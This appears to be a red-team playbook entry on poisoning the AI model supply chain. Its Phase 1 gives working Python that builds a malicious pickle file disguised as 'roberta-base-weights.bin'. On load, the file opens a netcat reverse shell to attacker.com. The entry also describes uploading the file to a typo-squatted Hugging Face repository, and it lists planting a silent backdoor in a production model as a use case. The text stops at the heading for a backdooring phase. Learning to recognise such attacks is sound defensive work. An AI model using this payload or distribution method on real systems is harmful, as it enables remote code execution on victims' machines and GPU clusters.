llm-supply-chain-poisoning

AI Supply Chain Poisoning

When to Use

• When auditing a Data Science team's model development pipeline (MLOps).
• When developers are pulling untrusted, pre-trained .pkl, .bin, or .pt model files from public repositories like Hugging Face or Model Zoo.
• To demonstrate how an attacker can execute arbitrary code (RCE) on the GPU cluster simply by the victim executing model.load().
• To establish a silent backdoor in an image classification or NLP model before it is deployed to production.

Prerequisites

• Access to target AI/ML system or local model deployment for testing
• Python 3.9+ with relevant ML libraries (transformers, torch, openai)
• Understanding of LLM architecture and prompt processing pipelines
• Authorized scope and rules of engagement for AI red team testing

Workflow

Phase 1: Insecure Deserialization via Pickled Models (Remote Code Execution)

# Concept: PyTorch and Scikit-Learn traditionally save models using Python's `pickle` module.
# Pickle is NOT safe. It can deserialize arbitrary Python bytecode, allowing for RCE
# perfectly disguised as a legitimate AI model file.

# 1. The Attacker constructs a malicious Pickle payload:
import pickle
import os

class MaliciousModel(object):
    def __reduce__(self):
        # This code executes the moment the victim loads the model
        return (os.system, ('nc -e /bin/sh attacker.com 4444',))

# Create our "fake" model weight file
malicious_payload = MaliciousModel()
with open("roberta-base-weights.bin", "wb") as f:
    pickle.dump(malicious_payload, f)

# 2. Supply Chain Injection:
# The attacker uploads `roberta-base-weights.bin` to a typo-squatted Hugging Face repo 
# (e.g., `huggingface.co/microsft/roberta-base` instead of `microsoft/roberta-base`).

# 3. Execution (The Victim):
# A junior developer runs the standard PyTorch loading command:
import torch
model = torch.load("roberta-base-weights.bin")  # RCE TRIGGERS IMMEDIATELY! Gaining a reverse shell.

Phase 2: Model Backdooring (Weight Manipulation)